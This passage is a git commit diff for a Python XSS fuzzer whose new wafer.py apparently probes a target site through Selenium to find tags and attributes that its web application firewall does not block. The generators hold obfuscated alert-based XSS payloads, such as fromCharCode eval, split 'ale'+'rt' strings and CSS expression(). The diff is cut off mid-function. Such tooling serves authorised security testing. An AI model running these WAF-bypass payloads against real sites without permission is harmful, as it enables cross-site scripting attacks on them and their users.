merge dl-dev in neg-dev #2
							
								
								
									
										17
									
								
								language.py
									
									
									
									
									
								
							
							
						
						
									
										17
									
								
								language.py
									
									
									
									
									
								
							| @ -1,6 +1,7 @@ | ||||
| from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ | ||||
|     gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ | ||||
|     gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key | ||||
|     gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \ | ||||
|     gen_duration | ||||
| from utils import rndstr, choice | ||||
| from mutations import Mutations | ||||
| 
 | ||||
| @ -15,6 +16,9 @@ class HTMLTag: | ||||
|         self.nameattr = rndstr(10) | ||||
|         self.rndchrpos = {} | ||||
|         self.mutator: Mutations = None | ||||
|         self.content = rndstr(10) | ||||
|         self.ids = [] | ||||
|         self.names = [] | ||||
| 
 | ||||
|     def set_mutator(self, mutator): | ||||
|         self.mutator = mutator | ||||
| @ -28,10 +32,11 @@ class HTMLTag: | ||||
|         if self.mutator: | ||||
|             # mutate attributes | ||||
|             for attr in self.attributes: | ||||
|                 if attr.attr == AttrType.ATTR_TAG_SPECIFIC: | ||||
|                 attr.__str__() | ||||
|                 if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag: | ||||
|                     cases = [ | ||||
|                         lambda x: self.my_mutate_attr(x), | ||||
|                         lambda x: self.mutator.mutate_attr(x.value), | ||||
|                         lambda x: self.mutator.mutate_attr(x), | ||||
|                         lambda x: self.mutator.mutate_value(x), | ||||
|                     ] | ||||
|                     choice(cases)(attr) | ||||
|                 elif attr.attr == AttrType.ATTR_EVENT: | ||||
| @ -53,6 +58,8 @@ class HTMLTag: | ||||
|             for attr in self.attributes: | ||||
|                 tag += f"{attr} " | ||||
|             tag += ">" | ||||
|             if len(self.children) == 0: | ||||
|                 tag += f"{self.content}" | ||||
|             for child in self.children: | ||||
|                 tag += f"{child}" | ||||
|             tag += f"</{self.name}>" | ||||
| @ -80,6 +87,7 @@ class HTMLTagAttributeType: | ||||
|     TypeDir = 13 | ||||
|     TypeWindowTarget = 14 | ||||
|     TypeAccessKey = 15 | ||||
|     TypeDuration = 16 | ||||
| 
 | ||||
| 
 | ||||
| Generators = { | ||||
| @ -99,6 +107,7 @@ Generators = { | ||||
|     HTMLTagAttributeType.TypeDir:  gen_dir, | ||||
|     HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, | ||||
|     HTMLTagAttributeType.TypeAccessKey: gen_access_key, | ||||
|     HTMLTagAttributeType.TypeDuration: gen_duration, | ||||
| } | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -1,20 +1,8 @@ | ||||
| from utils import choice | ||||
| from utils import choice, rndstr | ||||
| 
 | ||||
| 
 | ||||
| def gen_text(): | ||||
|     cases = { | ||||
|         0: lambda: 'alert(0)', | ||||
|         1: lambda: 'prompt\x600\x60', | ||||
|         2: lambda: '"confirm\x600\x60"', | ||||
|         3: lambda: 'window["alert"](0)', | ||||
|         4: lambda: 'window["prompt"](0)', | ||||
|         5: lambda: 'window["confirm"](0)', | ||||
|         6: lambda: '"alert\x600\x60"', | ||||
|         7: lambda: '"prompt\x600\x60"', | ||||
|         8: lambda: '"alert(1)"', | ||||
|     } | ||||
| 
 | ||||
|     return choice(cases)() | ||||
|     return rndstr(8) | ||||
| 
 | ||||
| 
 | ||||
| def gen_boolean(): | ||||
| @ -25,7 +13,7 @@ def gen_boolean(): | ||||
|         3: lambda: 'false', | ||||
|         4: lambda: 'null', | ||||
|         5: lambda: 'undefined', | ||||
|         6: lambda: '""', | ||||
|         6: lambda: '', | ||||
|         7: lambda: '0', | ||||
|         8: lambda: '1', | ||||
|     } | ||||
| @ -37,13 +25,8 @@ def gen_number(): | ||||
|     cases = { | ||||
|         0: lambda: '0', | ||||
|         1: lambda: '1', | ||||
|         2: lambda: '0.1', | ||||
|         3: lambda: '1.1', | ||||
|         4: lambda: '0x1', | ||||
|         5: lambda: '0b1', | ||||
|         6: lambda: '0o1', | ||||
|         7: lambda: '1e1', | ||||
|         8: lambda: '1e-1', | ||||
|         2: lambda: '2', | ||||
|         3: lambda: '3', | ||||
|     } | ||||
| 
 | ||||
|     return choice(cases)() | ||||
| @ -68,17 +51,19 @@ def gen_color(): | ||||
| def gen_javascript(): | ||||
|     cases = { | ||||
|         0: lambda: 'alert(0)', | ||||
|         1: lambda: 'prompt\x600\x60', | ||||
|         2: lambda: '"confirm\x600\x60"', | ||||
|         3: lambda: 'window["alert"](0)', | ||||
|         4: lambda: 'window["prompt"](0)', | ||||
|         5: lambda: 'window["confirm"](0)', | ||||
|         6: lambda: '"alert\x600\x60"', | ||||
|         7: lambda: '"prompt\x600\x60"', | ||||
|         8: lambda: '"alert(1)"', | ||||
|         9: lambda: 'console.log(alert(1))//', | ||||
|         10: lambda: 'console.log(alert(1))/*', | ||||
|         1: lambda: 'prompt`0`', | ||||
|         2: lambda: 'confirm`0`', | ||||
|         3: lambda: "window['alert'](0)", | ||||
|         4: lambda: "window['prompt'](0)", | ||||
|         5: lambda: "window['confirm'](0)", | ||||
|         6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`', | ||||
|         7: lambda: 'Function(`a${`lert\`1\``}`).call``', | ||||
|         8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//", | ||||
|         9: lambda: "eval.call`${'alert\x2823\x29'}`", | ||||
|         10: lambda: '[].sort.call`${alert}23`', | ||||
|         11: lambda: '{1:alert(1)}', | ||||
|         12: lambda: '(()=>{alert`1`})()', | ||||
|         13: lambda: 'x=alert;x(1);', | ||||
|     } | ||||
| 
 | ||||
|     return choice(cases)() | ||||
| @ -90,6 +75,8 @@ def gen_style(): | ||||
|         0: lambda: 'background-image:url("javascript:alert(1)")', | ||||
|         1: lambda: 'expression(alert(1))', | ||||
|         2: lambda: 'expression\x600\x60', | ||||
|         3: lambda: 'animation-name:x;animation-duration:0s;', | ||||
|         4: lambda: '@keyframes x{}' | ||||
|     } | ||||
| 
 | ||||
|     return choice(cases)() | ||||
| @ -119,27 +106,19 @@ def gen_email(): | ||||
| 
 | ||||
| 
 | ||||
| def gen_date(): | ||||
|     return '' | ||||
|     return '2020-01-01' | ||||
| 
 | ||||
| 
 | ||||
| def gen_target(root): | ||||
|     if root is None: | ||||
|         return None | ||||
|     ids = [] | ||||
|     ids.append(root.id) | ||||
|     for child in root.children: | ||||
|         ids.append(child.id) | ||||
|     return choice(ids) | ||||
| def gen_target(tag): | ||||
|     if tag is None: | ||||
|         return "" | ||||
|     return choice(tag.ids) | ||||
| 
 | ||||
| 
 | ||||
| def gen_name(root): | ||||
|     if root is None: | ||||
|         return None | ||||
|     names = [] | ||||
|     names.append(root.nameattr) | ||||
|     for child in root.children: | ||||
|         names.append(child.nameattr) | ||||
|     return choice(names) | ||||
| def gen_name(tag): | ||||
|     if tag is None: | ||||
|         return "" | ||||
|     return choice(tag.names) | ||||
| 
 | ||||
| 
 | ||||
| def gen_flag(): | ||||
| @ -160,3 +139,7 @@ def gen_wtarget(): | ||||
| 
 | ||||
| def gen_access_key(): | ||||
|     return 'X' | ||||
| 
 | ||||
| 
 | ||||
| def gen_duration(): | ||||
|     return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"]) | ||||
|  | ||||
							
								
								
									
										19
									
								
								mutations.py
									
									
									
									
									
								
							
							
						
						
									
										19
									
								
								mutations.py
									
									
									
									
									
								
							| @ -15,27 +15,27 @@ class Mutations: | ||||
| 
 | ||||
|         return choice_percent(cases)(attr) | ||||
| 
 | ||||
|     def mutate_value(self, value: str): | ||||
|     def mutate_value(self, attr): | ||||
|         cases = { | ||||
|             70: lambda x: x, | ||||
|             20: self.mutate_value_newline, | ||||
|             10: self.mutate_value_unicode, | ||||
|         } | ||||
| 
 | ||||
|         return choice_percent(cases)(value) | ||||
|         return choice_percent(cases)(attr) | ||||
| 
 | ||||
|     def mutate_tag(self, tag): | ||||
|         cases = { | ||||
|             70: lambda x: x, | ||||
|             30: self.mutate_tag_insert_random_pos, | ||||
|             95: lambda x: x, | ||||
|             5: self.mutate_tag_insert_random_pos, | ||||
|         } | ||||
| 
 | ||||
|         return choice_percent(cases)(tag) | ||||
| 
 | ||||
|     def mutate_js(self, js: str): | ||||
|         cases = { | ||||
|             70: lambda x: x, | ||||
|             30: self.mutate_js_insert_random_pos, | ||||
|             95: lambda x: x, | ||||
|             5: self.mutate_js_insert_random_pos, | ||||
|         } | ||||
| 
 | ||||
|         return choice_percent(cases)(js) | ||||
| @ -60,6 +60,10 @@ class Mutations: | ||||
|     def mutate_value_newline(attr): | ||||
|         # find a random position in the value | ||||
|         # and insert a newline | ||||
|         if (attr.value is None): | ||||
|             print("attr.value is None") | ||||
|             print(attr) | ||||
|             exit(0) | ||||
|         pos = choice(range(len(attr.value))) | ||||
|         attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" | ||||
|         return attr | ||||
| @ -84,7 +88,8 @@ class Mutations: | ||||
|         nmutations = choice(range(1, 4)) | ||||
| 
 | ||||
|         for _ in range(nmutations): | ||||
|             tag.rndchrpos[pos] = choice_percent(chars)() | ||||
|             mut = choice_percent(chars) | ||||
|             tag.rndchrpos[pos] = mut() | ||||
| 
 | ||||
|         return tag | ||||
| 
 | ||||
|  | ||||
							
								
								
									
										27
									
								
								tags.py
									
									
									
									
									
								
							
							
						
						
									
										27
									
								
								tags.py
									
									
									
									
									
								
							| @ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType | ||||
| 
 | ||||
| Tags = [ | ||||
|     HTMLTag('a', self_closing=False), | ||||
|     HTMLTag('animate', self_closing=True), | ||||
|     HTMLTag('abbr', self_closing=False), | ||||
|     HTMLTag('acronym', self_closing=False), | ||||
|     HTMLTag('address', self_closing=False), | ||||
| @ -268,6 +269,15 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
|     'animate': [ | ||||
|         HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('begin', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('by', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration), | ||||
|         HTMLAttribute('end', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
|     'abbr': [ | ||||
|         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
| @ -286,7 +296,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('data', HTMLTagAttributeType.TypeURL), | ||||
|         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('object', HTMLTagAttributeType.TypeURL), | ||||
|         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||
| @ -361,7 +370,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||
| @ -442,7 +450,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||
| @ -451,7 +458,6 @@ TagSpecificAttributes = { | ||||
|     'fieldset': [ | ||||
|         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|     ], | ||||
|     'figcaption': [ | ||||
|         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||
| @ -473,7 +479,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('method', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), | ||||
|     ], | ||||
| @ -481,7 +486,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||
| @ -537,7 +541,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('csp', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('importance', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||
| @ -556,7 +559,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('loading', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||
| @ -590,7 +592,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('min', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), | ||||
| @ -601,6 +602,7 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), | ||||
|     ], | ||||
| 
 | ||||
|     'ins': [ | ||||
| @ -639,7 +641,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
|     'map': [ | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|     ], | ||||
|     'mark': [ | ||||
|         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||
| @ -665,7 +666,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('charset', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('content', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
|     'meter': [ | ||||
|         HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), | ||||
| @ -697,7 +697,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('standby', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), | ||||
| @ -725,13 +724,11 @@ TagSpecificAttributes = { | ||||
|     'output': [ | ||||
|         HTMLAttribute('for', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|     ], | ||||
|     'p': [ | ||||
|         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||
|     ], | ||||
|     'param': [ | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), | ||||
| @ -775,7 +772,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||
|     ], | ||||
| @ -857,7 +853,6 @@ TagSpecificAttributes = { | ||||
|         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), | ||||
|         HTMLAttribute('name', HTMLTagAttributeType.TypeName), | ||||
|         HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), | ||||
|         HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), | ||||
|         HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), | ||||
|  | ||||
							
								
								
									
										20
									
								
								utils.py
									
									
									
									
									
								
							
							
						
						
									
										20
									
								
								utils.py
									
									
									
									
									
								
							| @ -7,10 +7,12 @@ def rndstr(length): | ||||
| 
 | ||||
| 
 | ||||
| def choice(arr): | ||||
|     # randomize seed | ||||
|     return random.choice(arr) | ||||
| 
 | ||||
| 
 | ||||
| def rndunicode(): | ||||
|     # randomize seed | ||||
|     return chr(random.randint(0, 0x10FFFF)) | ||||
| 
 | ||||
| 
 | ||||
| @ -25,21 +27,17 @@ def choice_percent(elements): | ||||
|     # } | ||||
|     # that means we have 10% chance to get 'a', 20% chance to get 'b', etc. | ||||
| 
 | ||||
|     # get total percent | ||||
|     total_percent = 0 | ||||
|     for percent in elements: | ||||
|         total_percent += percent | ||||
|     total_percent = sum(elements.keys()) | ||||
| 
 | ||||
|     # get random number | ||||
|     random.seed(int(time.time() * 1000)) | ||||
|     rnd = random.randint(0, total_percent) | ||||
|     rnd = random.randint(1, total_percent) | ||||
| 
 | ||||
|     # get action | ||||
|     for percent in elements: | ||||
|         if rnd < percent: | ||||
|             return elements[percent] | ||||
|         else: | ||||
|             rnd -= percent | ||||
|     cumulative_percent = 0 | ||||
|     for percent, action in elements.items(): | ||||
|         cumulative_percent += percent | ||||
|         if rnd <= cumulative_percent: | ||||
|             return action | ||||
| 
 | ||||
|     # should not reach here | ||||
|     return None | ||||
|  | ||||
							
								
								
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,348 @@ | ||||
| from selenium import webdriver | ||||
| from selenium.webdriver.support.ui import WebDriverWait | ||||
| from selenium.webdriver.chrome import service | ||||
| from urllib.parse import urlparse | ||||
| from urllib.parse import urlencode | ||||
| from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType | ||||
| from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags | ||||
| from mutations import Mutations | ||||
| from utils import choice, choice_percent | ||||
| from threading import Thread, Lock | ||||
| import random | ||||
| import time | ||||
| 
 | ||||
| # WAFBypass class | ||||
| 
 | ||||
| 
 | ||||
| class TagList(): | ||||
|     def __init__(self, e): | ||||
|         self.l = list(e) | ||||
| 
 | ||||
|     def __str__(self) -> str: | ||||
|         s = "" | ||||
|         for tag in self.l: | ||||
|             s += f"{tag}" | ||||
|         return s | ||||
| 
 | ||||
| 
 | ||||
| class FuzzQueue(): | ||||
|     def __init__(self) -> None: | ||||
|         self.queue = [] | ||||
|         self.lock = Lock() | ||||
| 
 | ||||
|     def push(self, tag): | ||||
|         self.lock.acquire() | ||||
|         self.queue.append(tag) | ||||
|         self.lock.release() | ||||
| 
 | ||||
|     def pop(self): | ||||
|         if len(self.queue) == 0: | ||||
|             return None | ||||
|         self.lock.acquire() | ||||
|         element = self.queue.pop() | ||||
|         self.lock.release() | ||||
|         return element | ||||
| 
 | ||||
|     def __len__(self): | ||||
|         return len(self.queue) | ||||
| 
 | ||||
| 
 | ||||
| class WAFBypass(): | ||||
|     code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;" | ||||
|     trigger = """ | ||||
| var ids = {0}; | ||||
| for (var i = 0; i < ids.length; i++) {{ | ||||
|     var element = document.getElementById(ids[i]); | ||||
|     if(!element) continue; | ||||
|     // trigger all possible events click, mouseover, etc. | ||||
|     var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture']; | ||||
|     try {{ | ||||
|         for (var j = 0; j < events.length; j++) {{ | ||||
|             var event = new MouseEvent(events[j], {{bubbles: true}}); | ||||
|             element.dispatchEvent(event); | ||||
|         }} | ||||
|         element.focus(); | ||||
|         element.blur(); | ||||
|         // trigger accesskey ctrl+alt+X | ||||
|         element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}})); | ||||
|     }} catch (e) {{}} | ||||
| }} | ||||
|                 """ | ||||
| 
 | ||||
|     def __init__(self, url, param) -> None: | ||||
|         self.param = param | ||||
|         self.options = webdriver.ChromeOptions() | ||||
|         self.options.add_argument('--no-sandbox') | ||||
|         # self.options.add_argument('--headless') | ||||
|         self.options.add_argument('--disable-gpu') | ||||
|         self.options.add_experimental_option( | ||||
|             "excludeSwitches", ["enable-logging"]) | ||||
|         self.unfiltered_attributes = {} | ||||
|         self.unfiltered_tags = [] | ||||
|         self.driver = webdriver.Chrome( | ||||
|             options=self.options, | ||||
|             service=service.Service(service_args=["--log-path=NUL"])) | ||||
|         self.url = urlparse(url) | ||||
|         self.mutator = Mutations() | ||||
|         self.queue = FuzzQueue() | ||||
|         self.threads = [] | ||||
|         self.lock = Lock() | ||||
|         self.payloads = 0 | ||||
| 
 | ||||
|         random.seed(time.time_ns()) | ||||
| 
 | ||||
|         if not self.check_connection(): | ||||
|             raise Exception("Connection Error") | ||||
| 
 | ||||
|         self.driver.execute_cdp_cmd( | ||||
|             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) | ||||
| 
 | ||||
|     def inc_payloads(self): | ||||
|         self.lock.acquire() | ||||
|         self.payloads += 1 | ||||
|         self.lock.release() | ||||
| 
 | ||||
|     def check_connection(self): | ||||
|         try: | ||||
|             self.driver.get(self.url.geturl()) | ||||
|             return True | ||||
|         except: | ||||
|             return False | ||||
| 
 | ||||
|     def wait_for_pageload(self, driver): | ||||
|         try: | ||||
|             WebDriverWait(driver, 4).until( | ||||
|                 lambda driver: driver.execute_script("return document.readyState") == "complete") | ||||
|         except TimeoutError: | ||||
|             raise Exception("Page Load Error") | ||||
| 
 | ||||
|     def get_page_title(self): | ||||
|         return self.driver.title | ||||
| 
 | ||||
|     @property | ||||
|     def is_403(self): | ||||
|         return self.driver.title == "403 Forbidden" | ||||
| 
 | ||||
|     @property | ||||
|     def triggered_xss(self): | ||||
|         return self.driver.execute_script("return window.alert_trigger") | ||||
| 
 | ||||
|     def navigate(self, driver, url): | ||||
|         driver.get(url) | ||||
|         self.wait_for_pageload(driver) | ||||
| 
 | ||||
|         is403 = False | ||||
| 
 | ||||
|         if self.is_403: | ||||
|             is403 = True | ||||
|         else: | ||||
|             is403 = False | ||||
| 
 | ||||
|         triggerxss = self.triggered_xss | ||||
| 
 | ||||
|         return (is403, triggerxss) | ||||
| 
 | ||||
|     def identify_unfiltered_attributes(self): | ||||
|         try: | ||||
|             self.unfiltered_attributes["global"] = [] | ||||
|             self.unfiltered_attributes["events"] = [] | ||||
|             self.unfiltered_attributes["tag_specific"] = {} | ||||
| 
 | ||||
|             for attr in GlobalAttributes: | ||||
|                 encoded = urlencode({self.param: f"{attr}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(self.driver, url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_attributes["global"].append(attr) | ||||
| 
 | ||||
|             for attr in EventsAttributes: | ||||
|                 encoded = urlencode({self.param: f"{attr}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(self.driver, url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_attributes["events"].append(attr) | ||||
| 
 | ||||
|             for tag in self.unfiltered_tags: | ||||
|                 if tag not in self.unfiltered_attributes["tag_specific"]: | ||||
|                     self.unfiltered_attributes["tag_specific"][tag.name] = [] | ||||
|                 try: | ||||
|                     for attr in TagSpecificAttributes[tag.name]: | ||||
|                         encoded = urlencode( | ||||
|                             {self.param: f"<{tag.name} {attr}/>"}) | ||||
|                         url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                         is403, _ = self.navigate(self.driver, url) | ||||
|                         if not is403: | ||||
|                             self.unfiltered_attributes["tag_specific"][tag.name].append( | ||||
|                                 attr) | ||||
|                 except KeyError: | ||||
|                     print(f"Tag {tag.name} not found in TagSpecificAttributes") | ||||
|         except KeyboardInterrupt: | ||||
|             return | ||||
| 
 | ||||
|     def identify_unfiltered_tags(self): | ||||
|         try: | ||||
|             for tag in Tags: | ||||
|                 encoded = urlencode({self.param: f"{tag}"}) | ||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||
|                 is403, _ = self.navigate(self.driver, url) | ||||
|                 if not is403: | ||||
|                     self.unfiltered_tags.append(tag) | ||||
|         except KeyboardInterrupt: | ||||
|             return | ||||
| 
 | ||||
|     def dry_run(self): | ||||
|         try: | ||||
|             self.identify_unfiltered_tags() | ||||
|             self.identify_unfiltered_attributes() | ||||
|         except Exception as e: | ||||
|             raise Exception(f"Dry Run Error: {e}") | ||||
|         except KeyboardInterrupt: | ||||
|             return | ||||
| 
 | ||||
|     def get_tag(self): | ||||
|         try: | ||||
|             tag = choice(self.unfiltered_tags) | ||||
|             # make a copy of tag to avoid mutating the original | ||||
|             tag = HTMLTag(tag.name, tag.self_closing) | ||||
|             tag.set_mutator(self.mutator) | ||||
| 
 | ||||
|             nglobattr = choice(range(1, 3)) | ||||
|             nattr = choice(range(1, 3)) | ||||
| 
 | ||||
|             globals = list(self.unfiltered_attributes["global"]) | ||||
| 
 | ||||
|             for _ in range(0, nglobattr): | ||||
|                 if len(globals) == 0: | ||||
|                     break | ||||
|                 attr = choice(globals) | ||||
|                 globals.remove(attr) | ||||
|                 # make a copy of attr to avoid mutating the original | ||||
|                 attr = HTMLAttribute(attr.name, attr.kind, | ||||
|                                      glob=True, root=None) | ||||
|                 tag.add_attribute(attr) | ||||
| 
 | ||||
|             attr = choice(self.unfiltered_attributes["events"]) | ||||
|             # make a copy of attr to avoid mutating the original | ||||
|             attr = HTMLAttribute(attr.name, attr.kind, | ||||
|                                  glob=False, root=None) | ||||
|             tag.add_attribute(attr) | ||||
| 
 | ||||
|             tag_specific = list( | ||||
|                 self.unfiltered_attributes["tag_specific"][tag.name]) | ||||
| 
 | ||||
